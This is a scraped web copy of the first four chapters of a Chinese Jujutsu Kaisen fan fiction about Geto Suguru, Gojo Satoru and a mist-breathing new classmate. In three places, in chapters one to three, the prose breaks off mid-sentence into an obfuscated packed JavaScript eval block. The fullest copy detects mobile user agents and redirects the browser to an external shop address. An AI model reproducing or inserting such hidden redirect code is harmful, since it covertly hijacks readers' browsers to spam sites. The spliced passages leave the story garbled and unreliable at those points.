《夏油今天也在努力攻略》 1. 第一章 夏油杰熟稔地放下“帐”后,才走进面前这栋大楼。 这是他临时接下的任务。 废弃的居民楼里,被检测到了准一级咒灵。 他召唤出类似“壁虎”一样的咒灵,让其先一步进入大楼中探情况,自己则慢悠悠地迈着长腿,跨上了台阶。 他甚至右手还在按着手机按键,在跟另一个出外勤的友人进行“友好交流”,半点没有即将面对准一级的紧张和谨慎。 但当他从一楼爬上六楼,周围都还是空荡荡的时候,夏油杰终于抬头,站定在六楼大敞的落地窗前,若有所思地用手抵住自己的下巴。 进来前,明明感受到了属于准一级咒灵的咒力,可是从一楼走到这里,却都没有看到任何影子,奇怪。 他沉吟了一下,然后将回来的“壁虎”收了回去,一脚踩在窗沿边,探出半个身子,眯着眼睛在楼下寻找着什么。 果不其然,在居民楼所处的深巷里,就着月光隐约能看到有一个人影。 夏油杰微微挑了下眉,然后就这样纵身跃下了六楼,同时一个庞然硕长的影子一闪而过。 西川雾音正屈膝压在已经不怎么动弹的咒灵身上,手上咒力牵引着,准一级咒灵就在她的手下慢慢变小,最后成了一颗墨色浑圆的玉,落入她的掌心。 西川雾音拿着这枚咒灵玉站起身,仰头就要将它塞进口中时,视线微微后瞥,就看到了隐在深巷里的人影。 夏油杰在看到对方的瞬间,身体就因为先感知到危险而肌肉绷紧,连身侧的虹龙都吐出长长的龙息,蠢蠢欲动。 夏油杰抚摸了一下有些焦躁的虹龙,隐在阴影处审视着对方。 明明是纤细的背影,却仿佛被什么庞然大物笼罩着,看不清的危险的东西就藏在那个瘦小的身体里。 很危险。是夏油杰至今遇到过的最危险的人。 但是…… 夏油杰看着她将准一级咒灵化成咒灵玉,心下略略震动。然后对方就发现了他。 夏油杰心神转念间,主动向女生的方向走了一步,走出了阴影处。 他露出温和无害的笑容,抬起一只手晃了晃:“是你将这里的准一级咒灵祓除了吗?” 西川雾音看着他,那是一个穿着黑色立领制服的男生。她的视线只是简单掠过男生,就移到了他的旁边盘桓着的那只张牙舞爪的虹龙上。 西川雾音歪了歪头,纤细的手指捏住那颗浑圆的玉,轻轻晃了一下:“你是想要这个吗?” 她认真道:“我将这枚咒灵玉送给你,你可以告诉我在哪里能抓到这么大的龙吗?” - 风吹进敞开窗的教室,有阳光洒进来,散在并排的三个座位上。 讲台上老师还在口若悬河地讲着北海道的气候和地理,下面的三个学生,一个头抵在桌子上,两只手拿着游戏机按来按去,一个摸着手机在桌洞里刷视频。 只有一个人,单手支着侧脸,转着笔时不时在纸上写写画画,看似认真地模样,视线却一直落在被他摆在桌子一角的咒灵玉上。 夏油杰正在神游。 这是他见到的,除了他以外,第一个会选择不祓除咒灵,而是将其转化成咒灵玉的人。 虽然那个人给他的感觉很危险,但是在她制服咒灵的时候,她与她身上那股危险的气息仿佛有着很强的割裂感,不是相辅相成,而是相互制衡。 她应该不是诅咒师。这也是那天夏油杰没有选择出手的原因。 但那天到最后也没来得及问出口,问对方为什么要将咒灵变成咒灵玉。 在猝不及防被问到怎么抓“虹龙”后,夏油杰有些难得怔愣,告诉对方这大概是唯一一只后,那个女孩子没有说什么,抬手将这枚准一级咒灵玉扔给了他,然后非常礼貌地道谢完,扭头就走了。 ——拦都没有拦住,完全没有看清是怎么离开的。 夏油杰想到这,不由得伸出手指拨弄着那枚咒灵玉,看着它在桌面上打转。 “我说杰,这枚咒灵玉你都看了好几天了吧,还不赶紧收进你的宝可梦图鉴里去?”只隔了一个过道,连头都没抬的白发男生,一边操纵着人物打怪,一边跟友人说话,“你总是含情脉脉看着它,很恐怖诶。” 夏油杰将还在打转的咒灵玉攥进手心里,连个眼神都没瞟过去:“你这一关打了三天了吧,这种难度都没过去的人,没资格说我。” “喂喂——”白发男生终于抬起头,他的鼻梁上架着圆形小墨镜,因为他的动作从鼻梁上滑下,露出一双湛蓝的璀璨星眸。他颇为不满地靠坐在椅背上,“我说你,趁着老子去立川的时候偷偷熬夜过关的人,才没资格说这种话好吧?” 夏油杰也侧头看着他微笑:“我们好像并没有什么‘一定要一起打游戏’这种约定吧悟,又不是需要手拉手去上厕所的小学生。” “打扰一下,你也许不是,但他一定是。”坐在靠窗的女生神情淡淡地划拉着手机。 “哈?——”五条悟发出质疑的语气,“你们在对最强说什么?” 夏油杰啊了一声:“每次听到你自称最强真是令人不爽啊。” 五条悟高挑着眉,椅子在地上划出刺耳的声音:“哈,那就比比啊,输了的人就要替对方做一件事啊,怎么样?” 夏油杰毫不输气势地站了起来:“可以,输了的人就答应对方一件事。” 被无视了的老师:“……” 老师:“你们两个给我坐下!” 互相瞪着对方的两个人终于各自冷哼一声,重新坐了下去。 只是一个脸侧向这边,一个脸侧向那边。 家入硝子平静地刷新下一个小视频:“我收回刚刚的话。夏油,你也是。” 夜蛾正道是下课的时候走进教室的。 刚站起来要去操场谈一谈的两个人,再一次被迫坐了下去。 夜蛾正道:“今天收到了消息,因为特殊情况比你们晚入学半个月的新同学明天就会到校,等会悟还有杰去隔壁教室在搬一套桌椅过来。” “老子不去。”五条悟双手垫在脑后,双腿交叠踩在桌沿上晃着,小圆墨镜又被他推到了鼻梁上,掩住了那双漂亮的蓝眼睛,“那人自己没有手吗?为什么要让老子帮忙?而且开学都迟到的人,还来干嘛啊。” 夏油杰倒是脾气很好地点头:“好的夜蛾老师,等会我会帮新同学将桌椅都搬过来。” 五条悟听到这话,立刻扭头看他,不可置信:“你干嘛要答应啊,在这种事上也要做优等生吗?” 夏油杰假装没有听到,保持微笑:“还有其他需要帮忙的吗?新同学有选好宿舍吗?正好我旁边的宿舍还空着,可以顺便帮新同学将宿舍打扫一下。” 五条悟发出大大的嘁声:“你好装啊杰——” 夜蛾正道先制裁了某只五条:“你闭嘴,你等会跟杰一起去搬桌椅。宿舍不用,等她来了会自己选。” 五条悟还在一边大声抗议,夏油杰倒是敏锐地察觉到了:“她?是个女生吗?” 一边原本在走神的家入硝子望向夜蛾正道。 夜蛾正道:“啊,是的,叫西川雾音。雾音的情况有些特殊,她和普通人不太一样,具体的等你们见到她就知道了。对了,杰应该会跟她有些共同话题,因为雾音也不会直接祓除咒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被喊了半个月宝可梦大师的夏油杰已经学会了屏蔽掉没用的信息,他从口袋里掏出那枚黑色的咒灵玉,放在手心里:“没来得及问就走了。但她应该不是咒灵操使。” 那股气息,与他完全不同。是更危险的东西在她身上。 “哈,”五条悟毫不犹豫地大声嘲讽他,“你也太没用了吧杰,竟然还让对方跑掉了。” “不过,”五条悟的小圆墨镜在打架的时候就摘了下来,此时正被他拿在手里甩来甩去,他漂亮的蓝眼睛兴致盎然地看着自己的同期,“我对她很感兴趣了。能从杰的手上跑掉的人,而且是第二个跟杰一样用咒灵玉的人,会是什么样的咒术呢?真是好奇。希望能跟她打一架。” 夏油杰看向五条悟,露出了一言难尽又无力吐槽的表情:“……对方是女孩子吧?还没来你就要跟人家打架吗?会被讨厌的吧悟。” 五条悟啧了一声:“有什么关系,难道你祓除咒灵的时候还要先问一句‘你好,请问你是男是女’吗?杰也太虚伪了吧!强弱跟性别有什么关系嘛!” “……跟你这种人真是……你这家伙真是完全不懂得什么叫尊重啊?”夏油杰单手按在肩膀上,上下动了动,迎着五条悟挑衅的目光,站起来,“作为同期,很有必要帮你纠正一下啊。” 五条悟一下子就站了起来,语调上扬:“来啊!还是输的人答应对方一件事。” 夏油杰食指朝上比着,瞬间张牙舞爪的虹龙便直冲对面的白发男生而去,他微笑:“好啊。输的人答应对方一件事。” 2. 第二章 最后是五条悟被从咒灵身后闪现出来的夏油杰一拳打中脸,两人的“谈心”才到此结束。 冰凉的汽水滚落进格挡里,夏油杰弯腰捡起汽水,将其中的一瓶随手递给一边靠在自动贩卖机旁的五条悟。 五条悟接过汽水瓶,贴到自己一边已经肿起来的脸上,有些不满:“干嘛要打脸啊……肿起来会很丑诶,硝子又不愿意用反转术式治疗这种伤。你是不是故意报复我之前祓除你的咒灵?都说了不小心啦……你好记仇啊杰。” 夏油杰仰头喝着汽水,喉结上下滚动着,冰凉的液体进入身体里,总算消去了几分热气。 他侧头看向自己的同期:“谁让你自己没用无下限。既然输了,就记得答应我的事,跟我一起去给新同学搬桌椅。” 五条悟不情愿地应着:“这种事杰用咒灵的话,根本不用自己动手吧?为什么非要拉我一起啊……那你今晚帮我通关啊。” 夏油杰毫不留情拒绝:“是你输了,又不是我输了,我才不会帮你。你不是‘最强’吗,自己打。而且,帮助新同学也是夜蛾老师给我们的任务。” “嘁,优等生。”五条悟不高兴地拧开汽水瓶,仰头咕咚咕咚灌了一整瓶,“自己打就自己打。” 夏油杰耐心地等他喝完了,才将两人的空瓶一起丢进垃圾桶里,往教室方向走去。 因为五条悟打架输了,所以他搬桌子。 夏油杰单手拎着椅子走在他后面。 五条悟原本还有些不高兴,但当他用无下限将桌子隔开,上下举着桌子,像是表演杂技一样,他又兴致勃勃/起来。 夏油杰简直没眼看面前这个已经尝试开着无下限,用头顶着桌子单脚跳的笨蛋同期。 夏油杰移开视线,望向走廊外的绿植。 但他的心情还是愉悦的。 他能感觉到自己的心情是愉悦的。 为新同学。 在来高专之前,他一直以为自己是孤独的,以后也将孤独地守护着什么都不懂的人们。 也许这种独自守着秘密,在夜晚成为英雄的感觉一开始还很令人兴奋,但时间久了之后,随着一次又一次的祓除,看到越来越多的因为咒灵而丧生的人,那些不断积累的负面情绪也难免会有想要跟别人诉说的时候。 毕竟,并不是每一次祓除都那么顺理成章,他也会受伤,也会遇到比他还要厉害的咒灵。 甚至在前一晚努力做了英雄之后,第二天还要赶早去学校上课。 第一次祓除成功的喜悦没人能分享,受伤流血后的伤口也只能遮遮掩掩自己处理。没人知道他做了什么,就无法有人认同他,这种苦涩随着时间和成长,竟然也慢慢习惯了。 但这种习惯不是不在意了,而是学会了自己咽下去,自己纾解,总归他做的是好事,是在帮助别人,所以他也能继续忍耐下去。 直到来了高专。 来了高专之后,他才知道原来自己并不是什么城市里的独行侠,还有一群拥有同样能力的伙伴。 他庆幸自己并没有拒绝属于高专的邀请。 所以哪怕是面对性格顽劣的五条悟,夏油杰对他都极有耐心。 ——因为是同伴啊。 但是这些都不如知道除了他以外原来还有人会将咒灵转化咒灵玉使用时,那一瞬间翻涌的心绪。 新同学才是他真正的“同类”。 没人知道,他在听到夜蛾老师的话后,甚至松了口气——那个女孩子是他的同学,不是什么诅咒师真的太好了。 夏油杰不由自主地露出笑容,他已经开始期待明天的到来了。 话说,那天晚上因为太黑,完全没有看清楚新同学的长相,只记得声音还蛮好听。 夏油杰胡思乱想着,跟着五条悟进了教室。 五条悟一进门,就把桌子往地上一扔,不管了。 夏油杰好脾气地将桌子摆好。 在选择位置的时候,还特地考虑到对方是女生,跟硝子应该很谈得来,所以专门摆在了硝子的位置旁边。 甚至还私心的把自己的位置也挪到对方的旁边。 所以新同学的位置就夹在了夏油杰和家入硝子的中间。 夏油杰满意地拍了下手,扭头就看见自己的同期不知道什么时候靠在门边,正往下扒拉着小圆墨镜,一脸沉思地望着他。 夏油杰:“……” 夏油杰:“怎么了?你突然这么安静,让人怪害怕的。” 五条悟旁观了夏油杰面带微笑,为未知的新同学收拾桌椅的全过程,哪怕是站在门边,他都能感觉到夏油杰的好心情。 五条悟新奇地上下打量他,然后开口:“杰,你知道你刚刚的表情有多变态吗?” 夏油杰:“?” 微笑还挂在脸上,但是垂在腿边的手已经想要蠢蠢欲动。 五条悟:“大概就像是每次老子看到毛豆生奶油喜久福的那种表情。” 夏油杰:“……” 夏油杰:“原来你也知道自己是个变态啊。” 真是对这个家伙无力吐槽了。 五条悟眨眨眼,丝毫不介意同期的这种赞美:“最强当然是变态啊,强到变态。” 等夏油杰重新关上灯,关好教室的门,两个人才并排往宿舍走去。 五条悟:“所以,是去你房间还是我房间?” 夏油杰:“……自己打,我要休息了。” 五条悟瞪他:“哈?骗谁啊,你从来没有睡这么早过。” 夏油杰:“今天决定要早睡。” 五条悟根本不信:“所以现在是晚上七点,你就要睡了吗?” 夏油杰面不改色:“是的。” 最后五条悟还是靠着自己的厚脸皮挤进了夏油杰的房间里,霸占了他的游戏机和卡带,盘腿坐在他的床上打游戏。 夏油杰则是拿着衣服去洗澡,进去之前还不忘记提醒:“悟,不要再把你带来的蛋糕吃到我的床上,不然今晚就是你睡这里,我去睡你的房间。” 五条悟已经在按着游戏机操控着人物上蹿下跳,眼睛都全神贯注地盯在屏幕上,听到夏油杰的话敷衍地胡乱点了下头:“啰嗦啦杰,你赶快去洗澡,等你打游戏呢。” 夏油杰:“……” 夏油杰:“你还记得是你打架输了吗?” 五条悟抽空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么啊,解决生理问题不是很正常的事吗?”五条悟撇了下嘴,看了眼夏油杰,又哈哈大笑起来,“杰,你现在真的好像要飞升天的佛祖啊哈哈哈哈,就是你的那撮刘海太丑了……” 原本已经背过身去,不准备再跟幼稚的同期打嘴仗的夏油杰立刻扭过脸来,瞪着靠在那里玩着手柄的人:“你才是不懂,这是最近最流行的发型!而且单独留下这一捋头发垂下来,明明超帅好吗!” 这可是他在来高专之前精心挑选的发型,盯着理发师就要照着图片的样子去剪的。尤其是这个刘海,他认为是整个发型的点睛之笔,帅到不行! 五条悟倒是没有再跟他争论刘海的问题,而是歪着头好奇看他:“杰,你眼睛变大了诶。” 夏油杰将毛巾搭在自己的肩膀上,扭了下脖子,拇指竖起朝外:“我觉得你这家伙真的有必要重新学一学怎样尊重别人,你觉得呢?” 五条悟的蓝眼睛因为兴奋慢慢亮起来,手柄都被随手扔在了一边:“好啊,再来打一架。这一次如果我赢了,杰你以后必须得睁着眼睛跟我说话。” 夏油杰脚下像是凭空旋起风涡,他微笑:“先赢了再说吧。” 只是这次,两个人还没出门,高专的警报却先响了起来。 夏油杰和五条悟对视了一眼,有敌来袭—— 3. 第三章 夏油杰第一时间招了虹龙出来,五条悟也丢掉了手中的游戏手柄,向着夏油杰的方向奔去。 夏油杰拉开窗户翻身站到了虹龙身上,紧随其后的五条悟脚踩在窗台上一跃而起,兴奋地大叫一声也跳到了他的旁边。 五条悟盘腿坐下,蓝眼睛在月光下熠熠生辉:“快冲啊杰——哇唔!” 夏油杰指挥着虹龙,载着他们二人直冲云霄,莹白的月亮如玉盘映在他们眼里,夜风呼啸吹过颊边,整个高专一览无余,都在他们的脚下。 夏油杰站在虹龙的头顶上,俯瞰着掩在夜色下的古老庞大的建筑,只有零星的灯盏勉强照亮蜿蜒横斜的路。 警报声还在尖锐鸣叫,已经有不少暗下去的房间亮起了灯光,原本寂静的高专也开始渐渐响起喧闹人声。 夏油杰拍了拍虹龙的脑袋,问身边坐着的同期:“找到了吗?” 五条悟眯着双眼,整个高专在他眼里建构解析,无数庞杂繁乱的咒力残秽交错横卧,几乎覆盖了高专的每个角落。这些信息几乎是在他看过去的瞬间便涌入他的脑海里。 五条悟冷静地在一堆杂乱无章的咒力中找到了其中一条从未见过的、陌生的颜色,他的嘴角高高翘起,从虹龙头顶站起身来: “找到了……在那里——东南方向!” 五条悟话音落下的瞬间,他们脚下的虹龙便长啸着冲向五条悟所指的方位。 夏油杰在疾风中微微眯起眼睛,目光锁定在了那个正在往教学楼方向移动的身影:“看到了,悟你……” 他的话还没说完,身旁的五条悟已经从虹龙头顶上往后仰着坠了下去,极速坠落的同时,他的指尖绽起蓝色的光芒:“咒术,【苍】。” 原本还在高空中自由落体的人,瞬息便出现在了正在地面上移动的人的身边。 地面上已经轰然炸开了一个深坑,尘烟散去,五条悟正站在坑里,单手插兜,歪着头看向站在阴影里的人:“反应很快嘛。” 他本是瞄着对方去的,【苍】能够通过压缩出发点和终点的距离达到瞬移的效果,而这种压缩空间所产生的冲撞力足以将对方撞飞出去。 可惜的是这个人极其敏锐,在察觉到空间波动的瞬间就跃到了另一边,完美避开了他的攻击。 五条悟摸着下巴:“但很不幸,你跳的那个位置……” 他的话音刚落,那人脚下的地面突然松动陷落,张着巨口的沙丘蠕虫从地底倏然耸出,流着涎水将人吞进肚子里,夏油杰插着兜从咒灵身后慢慢走出来:“我说悟,你到底什么时候才能听别人把话说完?” 五条悟笑嘻嘻抬了抬手:“需要说吗?我们明明超——默契的!” 夏油杰嫌弃地跟他击了一掌:“真的很不想承认跟你有默契。” “不过,杰,你变弱了吗?”五条悟用食指点了点烟尘散去,长身直立在地面上的沙丘蠕虫。 “啊?”夏油杰不满地望过去,就看见沙丘蠕虫的巨口并没有如他们所想般合起,月光下一道锐利的银光正横在巨口处。 不知何时,薄雾渐起,无声无息地环绕在两人脚边,犹如活物般缠绕上两人的身体。 清透的声音从丑陋的咒灵口中响起:“雾之呼吸,壹之型,雾里看花。” 下一秒,浓雾与愁云遮蔽住月亮,远处的灯光也一应褪去,黑夜彻底降临。 五条悟在暗下来的瞬间往后跳去,刀刃裹挟着丝丝缕缕的雾气在他的脖颈前划过一道弧光,然后再次消散在雾里,同时地面上涌出数条根系状的咒灵肢体,随着数道银光闪过,乍开一朵虚虚掩掩的雾花,无数条被切碎的根系从空中飘落化为乌有。 五条悟兴致高昂地睁大眼睛,他的眼中,这些雾气全是莹蓝色的咒力,潜藏在其中的染了一丝灿金色的咒力如游丝般流动,他大笑起来:“有意思,太有意思了!杰!这个诅咒师竟然能扛得住我们两个人的攻击,有意思……” 五条悟舔了舔唇,眼睛璨蓝耀眼,再次捏起手式:“咒术,【苍】。” 那丝金线转瞬便游到五条悟身前,狠狠劈下。 两个人几息间接连交手数十次,每一次那一把刀都会砍在他的脖颈处,但是在触及皮肤前便在无法往前,于是那人又会另换刁钻的角度,目标依旧是他的脖子。 五条悟丝毫不惧对方的长刀,甚至主动伸出手去接住锋利的刀刃,露出挑衅十足的笑容: “喂,这刀总是跟我隔着永远无法跨越的距离诶,砍不到怎么办?” 刀刃的另一端被五条悟握着,那人攥紧刀柄,翻身借力,双腿蹬在了五条悟的脸上,受无下限的牵制双脚在快触碰到他脸时就接近不了了,于是旋转刀柄,愣是将他震了出去。 五条悟顺势倒挂在空中,抱着肩膀,笑嘻嘻道:“还不赖嘛你,你这是什么刀法?” 而对方却没功夫去回答他的问题。借力翻身出去后,她便掉进了长着三只眼睛的咒灵手里。咒灵上下合起巨掌,被长刀从掌心破出大洞来。 她果断地将刀竖起,以不可阻挡之势,利箭般刺向了同样一直隐在暗处的夏油杰的方向。 夏油杰甩出乌贼样式的咒灵横在身前,挡住了锋利的刀尖,然后在刀尖陷入乌贼体内的同时,夏油杰极快地伸出手扣住了那人的手腕,一扭。但那人反应极迅速,借力度旋身,抬腿勾住他的脖子想要将他绞在地上。 ——原本是不能成功的。 但在对方勾住他脖子的时候,因为距离过近,夏油杰再次感受到了那一夜曾经令他忌惮的危险气息。 是她! 然后轻飘飘的布料就罩在了他的头上。 ……等等,轻飘飘的布料? 随着一声轰响,夏油杰被绞着脖子摔在地上,他紧紧闭着眼睛,握着对方手腕的手指不由自主松开了。 那片轻飘飘的布就盖在他的脑袋上,因为对方的双腿正勾在他的脖间,夏油杰的侧脸甚至被迫紧贴在细滑的皮肤上。 真是糟糕的姿势……完全不敢睁眼。 然后五条悟的笑声果不其然地响起了。 “救命……哈哈哈哈哈——杰你知道你现在像个变态吗?”同期直言不讳的话让夏油杰脑袋上青筋跳起,尤其是紧随而来的一阵咔嚓咔嚓拍照的声音,“不行我得拍下来给硝子看看……她一直说我是人渣,明明杰也是……” 夏油杰恼羞成怒:“……现在是拍照的时候吗?!” 五条悟举着手机:“不然呢?反正诅咒师已经被杰抓住了啊。” “悟,杰,你们在说谁是诅咒师?”刺耳的警报声中,姗姗来迟的夜蛾正道被眼前这一幕惊到失语。 自己的两个学生,一个毫无廉耻地将整个脑袋塞在女生的裙底,另一个毫无廉耻地哈哈笑着拍照,一地的深坑,土壤被炸开,花草断着根散在地上,满地的狼藉。 夜蛾正道的拳头紧了。 “哟夜蛾,你来……”五条悟刚抬起手,招呼还没打完就被夜蛾正道毫不留情地一拳捶在脑袋上,人晃了晃就后仰倒在了地上,“为什么打老子!” 夜蛾正道根本不理他,对着地上两个还缠在一起的人头疼了一下,然后对其中一个说:“雾音,你先放开杰,从他身上下来。” 然后夏油杰就听到窸窸窣窣的声音,原本紧勒住脖间的大腿松开,头上盖着的布料也慢慢划过脸颊。 夏油杰绝望地翻了个身,仰躺在地上,手臂遮在眼前不愿意面对现实。 可是夜蛾正道的声音却清晰无比地传进了耳朵里:“悟,杰,这位就是你们的新同学,西川雾音。” 夏油杰:“……” 夏油杰:“……” 夏油杰:“……” 躺在他旁边的五条悟还不忘给他重击:“哇哦,是你期待的新同学哦杰。” 原本想要给新同学留下好印象结果却钻了人家裙底的夏油杰已经破碎了:“闭嘴吧你。” 夜蛾正道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13706628|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒得理会两个幼稚儿童,他看向站在一边的西川雾音:“雾音,你没事吧?” 西川雾音手里的刀已经归鞘,周围的雾气也随之散去,银月重新挂在天边,晚春初夏的风轻柔拂过少女的长发,她脊背挺直立在那里,如同池中清莲。 在收刀的那一刻,西川雾音就已经游神天外,直到夜蛾正道忧心地唤她名字,她才慢了一拍反应过来:“……嗯?” “有没有哪里受伤?”夜蛾正道叹气,“怎么这个时候来学校了,辅助老师不是说明天早上在车站等你吗?” 西川雾音的视线在夜蛾正道脸上聚焦了一会,说出了第一句话:“你是?” 夜蛾正道:“……” 夜蛾正道觉得头更疼了:“我是你的班主任老师夜蛾正道,我们之前见过的,你不记得了吗?” 西川雾音浅碧色的瞳仁雾蒙蒙的,看不出来什么情绪,只能从她微微侧仰的动作里猜测应该是在回忆,然后她啊了一声看向夜蛾正道:“是……夜无老师。” 夜蛾正道:“……我叫夜蛾,算了,你没事就好。既然来了,我等下带你去登记咒力,之前忘记跟你说了,陌生的咒力进入高专的结界都会引起警报,所以你才被误判成了‘蓄谋袭击高专的诅咒师’。”说着,夜蛾正道转向还躺在地上的两个人。 “杰,悟,起来,跟雾音道个歉。”夜蛾正道瞥向他们二人。 “哈?老子就不。”五条悟躺在地上,手臂枕在头下,翘着二郎腿,“老子为什么要道歉?是她自己没有登记咒力就闯进来,谁知道她是老子的同学还是诅咒师?” 夏油杰却没怎么犹豫地从地上爬了起来,对着西川雾音道歉:“抱歉,我不是有意……的。” 西川雾音慢慢看了他一眼,似乎不明白他为什么要道歉:“嗯?” 夏油杰不好意思再说刚刚被对方撂倒的时候冒犯了对方的事。 他长这么大从来没有跟女生这么近距离接触过,在那样由薄薄裙摆围成的隐秘空间里,夏油杰难得感到有些窘迫和难为情,同时还夹杂了一丝属于青春期男生对于少女温软身体的难言的悸动。 但好在这样混乱的心绪只有他一个人知晓,不然真的就要被硝子钉死在“人渣”的柱子上了。 西川雾音确实不懂夏油杰的难为情,但是她知道在别人道歉的时候应该要如何回应对方。 于是她浅浅露出一个笑容,学着曾经产屋敷大人对她做的那样,踮起脚尖,伸出手,勉强触碰到男生柔软的发,然后轻轻揉了两下:“没关系的。你已经做的很好了。” 如鹦鹉学舌般套用的安慰模版让夏油杰有些懵。 头顶传来的轻微压感让他不由自主地俯身下来,好让对方能够更轻松地触碰到他的发顶。 这样的举动让西川雾音很满意,她奖励般地又拍了拍对方的脑袋,才放下手臂。 夏油杰重新直起身子来,他没有说话,只是在心里暗暗庆幸此时是黑夜,周围的人应该都看不到他微微发红的脸。 然后就有小石头从夏油杰的脑后丢了过来,还伴随着五条悟的几声“杰,你的咒力为什么突然变得活跃起来了”之类的话。 夏油杰敏捷地侧头躲开,却没有搭理他,背对着同期往更暗一些的地方走了几步,微微仰头,想要借清凉的夜风吹散发烫的脸颊。 被无视了的五条悟不满地撇嘴,在夜色里显得亮盈盈的蓝眸瞪向了新同学,恶声恶气:“喂!你为什么只摸了杰的头?看不到这里还有这么大个人呢?” 说着往新同学的身上也丢了一个石头。 那颗石子精准地砸在了因为听到问话,正扭头看向五条悟的西川雾音脑门上,把西川雾音打得脑袋往后一仰,小石头啪嗒掉落在地上,滚了两圈。 西川雾音摸着脑袋,低头看着地上的石子,张了张嘴:“啊。” 夜蛾正道:“……” 夏油杰:“……” 五条悟:“……” 4. 第四章 最后是夜蛾正道用铁拳狠狠制裁了两个人。 夏油杰:“嗷!” 五条悟:“嗷!” 两个人一人头上顶着一个包,跟在夜蛾正道的身后往登记咒力的后勤处走去,五条悟看着西川雾音表情不虞:“喂,你怎么回事?不会是故意不躲开让夜蛾惩罚我跟杰吧?” 走在最外边的西川雾音慢慢看向他:“……啊?” 五条悟用那双天穹般苍蓝的眼眸盯着西川雾音看了片刻,然后扭头对身边的同期非常确定地道:“杰,这人是个傻子。” “闭嘴吧你。”因为受到牵连也被夜蛾正道指导了的夏油杰顶着头顶硕大红肿的包,面无表情,“我看你才是傻子。欺负新同学,还是女生,真是没品。硝子说得对,悟,你真的是个人渣。” “哈?!”五条悟瞪圆一双蓝色猫眼:“你这个怪刘海,再给老子说一遍?” “好,我再说一遍,不准再攻击我的刘海!我的刘海比你那看上去先天不足的白毛帅一百倍!!” “啊?!你现在就给老子的头发道歉!老子是最强,老子的头发也是最强!比你那鲶鱼须一样斜出来的怪刘海帅一千倍啊!!” 为了头发吵起来的两个人新仇加旧恨,各自头上顶着被揍出来的鼓包,咬牙切齿地用肩膀顶撞着对方。 你使劲撞我一下,我使劲撞你一下,最后干脆用肩膀顶着肩膀较劲,龇牙咧嘴,不愿服输。 进了后勤部在跟后勤部的老师说明情况的夜蛾正道探身出来:“你们俩又干什么呢?” 两个男生瞬间往后撤离,若无其事地举起手臂做着拉伸动作,然后在夜蛾正道进去后,又同时伸手揽住对方的肩膀,宽大的手掌按在肩头,连骨指都用力到噼啪作响。 两人同时伸出脚迈向后勤部的办公室,然后就这么卡在了门上。两个身高跟门框快要齐平的人挤在一起,互不相让,在夜蛾正道看过来的时候还要一齐对着他们的班主任面露微笑,背地里咬牙切齿: “我先进……” “我先……” 门框上的木屑簌簌掉落,夜蛾正道的拳头又硬了,他捏着拳头就要走过来:“你们两个……给我把门让开,让雾音进来!” 声音中气十足,带着风呼啸着扑了两个人一脸,夏油杰劲一松,五条悟咣叽挤断了一半门框,愣是把自己先塞了进来。 五条悟得意洋洋扭头去看自己的同期:“输了吧怪刘……” 然后发现自己的同期压根没有注意到自己的这一次胜利。 夏油杰拍了拍肩膀上落的木屑,假装若无其事般看向站在门外被他跟悟两个人的身体遮挡地严严实实的女生。 夏油杰主动让开了半个门,绅士道:“你先进。” 西川雾音站在门外,看着比自己高出许多的男生,视线在男生故作正经的脸上扫了一圈,落到他头上,然后伸手指了指头顶:“这里。” 然后西川雾音就从让出来的门缝里走了进去。 “嗯?嗯?”夏油杰疑惑地晃着脑袋,就看到被掀起的一阵木屑在空中飘飘悠悠落下。 夏油杰:“……” 好糟糕,今天一整晚都没有挽回到自己的形象。 夜蛾正道带着西川雾音登记咒力,夏油杰跟同期暂时休战站在一起,两个人两双眼睛一起盯着新同学。 一路上都好像在发呆神游,整个人散发着边缘感的女生在手指握住刀柄的那一刻,气势霎时转变。 西川雾音一只脚蹬在后面,前膝屈起,微微俯身,半敛起的碧色瞳眸逐渐清明起来。她慢慢呼吸着,长长地吞气吐气,有白雾自她嘴边溢散开。 待回神,才发现不知什么时候起,整个房间都被笼罩在一层薄雾里。 哪怕夏油杰看不到咒力,也能清晰地感知到从那个瘦小的身体中外溢出来的力量,然后他就听到身边同期发出饶有兴致的哇噢声。 五条悟抱着手臂,食指抵着墨镜往上推了推:“杰看到了吗?” 夏油杰很诚实地摇头:“看不到,但是大概能感觉到。所以你的‘六眼’看到了什么?” 五条悟作为咒术界御三家中五条家百年难得一遇的“六眼”,不仅拥有360度远距离视觉,还可以直接看穿对方咒术师的术式,甚至可以对咒力轨迹进行追踪和预测。 五条悟摸了摸下巴:“很有意思的术式……杰注意到了吧,她的呼吸。如果将她比作一瓶拧紧盖子装满水的瓶子,无论平时怎么晃,作为咒力的水都不会流出来的话,那么随着呼吸方式的改变,她的身体也像是打开了某种力量的阀门,咒力在渗透进她的肌肉和骨骼强化□□的同时外溢出来。也就是说这种呼吸方法大概是她开启咒力的开关,而且她的咒力颜色也跟我们不太一样。我之前有跟杰说过吧,目前我所见过的咒术师咒力,在我眼中呈现出来的都是幽蓝色,但是她的蓝色中夹杂了一丝金色。” 夏油杰发出疑问的声音:“金色?” 那边西川雾音已经用指节抵着刀柄泄露出点点银光,只听她低声道:“雾之呼吸,贰之型,夕雾长空。” 几乎看不清刀是如何出鞘,只感受到风裹挟着弥散的白雾掠过脸颊,然后啪嗒一声,刀便归入鞘中了,这时脸上才传来阵阵刺痛。 